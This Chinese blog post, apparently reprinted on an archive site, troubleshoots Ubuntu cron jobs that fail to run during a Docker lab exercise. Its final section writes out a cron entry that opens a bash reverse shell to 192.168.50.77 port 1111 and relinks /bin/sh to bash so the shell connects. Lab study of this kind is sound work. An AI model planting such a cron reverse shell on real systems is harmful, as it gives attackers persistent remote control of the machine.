栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Ubuntu计划任务无法执行解决方法

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Ubuntu计划任务无法执行解决方法

Ubuntu计划任务无法执行解决方法

0x00 前言0x01 打印Hello World

1、创建定时任务2、排查原因3、修改计划任务 0x02 反弹shell0x03 参考链接

0x00 前言

在做Docker相关实验时,以Ubuntu为靶机无法正常反弹shell,在此记录一下环境问题和解决方法。

0x01 打印Hello World 1、创建定时任务

创建一个定时任务:每分钟向屏幕输出"Hello world!"。
有如下两种方式:
1)输入crontab -e命令,根据提示直接在当前cron task文本最后面插入如下命令(记得回车):

* * * * * echo "Hello world!"

2)由于每个用户的定时任务都在/var/spool/cron/crontabs目录下有个与用户名一致的任务文件,因此也可以通过vim直接编辑:
sudo vim /var/spool/cron/crontabs/root #注:root为当前用户名
同样在文件末行插入:

* * * * * echo "Hello world!"

保存退出,并可通过 crontab -l 查看定时任务。

2、排查原因

未能成功打印Hello World,按如下步骤排查:
1)cron服务没有启动
可能是cron服务没有启动,执行:

sudo service cron status

发现cron服务是running的,排除;

2)系统未执行任务文件
可能是任务文件创建后未能被系统及时get到,因而执行:

sudo service cron restart

重启cron后问题依旧,排除;

3)查看cron运行日志
进一步查看cron运行日志(/var/log/cron.log),但是并未找到相关文件,原因是ubuntu默认没有开cron日志,执行命令:

sudo vim /etc/rsyslog.d/50-default.conf

找到cron.log相关行,将前面注释符#去掉,保存退出

重启rsyslog:

sudo  service rsyslog  restart

然后可以查看日志,执行 less -10 /var/log/cron.log 再次查看cron运行日志,提示如下信息:

No MTA installed, discarding output

原因:cron把屏幕输出都发送到email了,而当前环境并未安装email server,于是系统报错,解决方面就是不要直接向屏幕输出内容,而是重定向到一个文件。

3、修改计划任务
sudo vim /var/spool/cron/crontabs/root

将末行改为:

* * * * * echo "Hello world!" >> /tmp/cron_log.txt

保存退出,同时reload cron服务:

sudo service cron reload

等待一分钟左右,查看/tmp/cron_log.txt,“Hello world!”每隔一分钟输出一次。

0x02 反弹shell

接下来尝试反弹shell

* * * * * /bin/bash -i >& /dev/tcp/192.168.50.77/1111 0>&1

仍然无法反弹shell,/var/log/cron.log 还是爆邮件服务器那个错误:


所以安装邮件服务器

# 安装邮件服务器
sudo apt-get install postfix

# 若出现如下报错则使用reboot命令重启Ubuntu
E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?

安装完邮件服务器后,我继续在/var/log/cron.log查看日志信息,这时已经不报错了,但是还是无法反弹shell


于是到 /var/mail/ 目录下查看相应用户的邮件信息,发现新的报错信息:
/bin/sh: 1: Syntax error: Bad fd number

原因:/bin/bash 下的软链接是 dash 而不是 bash
解决如下:

ls -l /bin/sh
sudo mv /bin/sh /bin/sh.bak
sudo ln -s /bin/bash /bin/sh


等待下一次计划任务的执行(一分钟左右),反弹成功!!

0x03 参考链接

http://blog.chinaunix.net/uid-30199261-id-5849127.htmlhttps://www.linuxdiyf.com/linux/32574.htmlhttps://www.jianshu.com/p/60e6ea56088chttps://blog.csdn.net/qq_37186127/article/details/78862419

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/725595.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号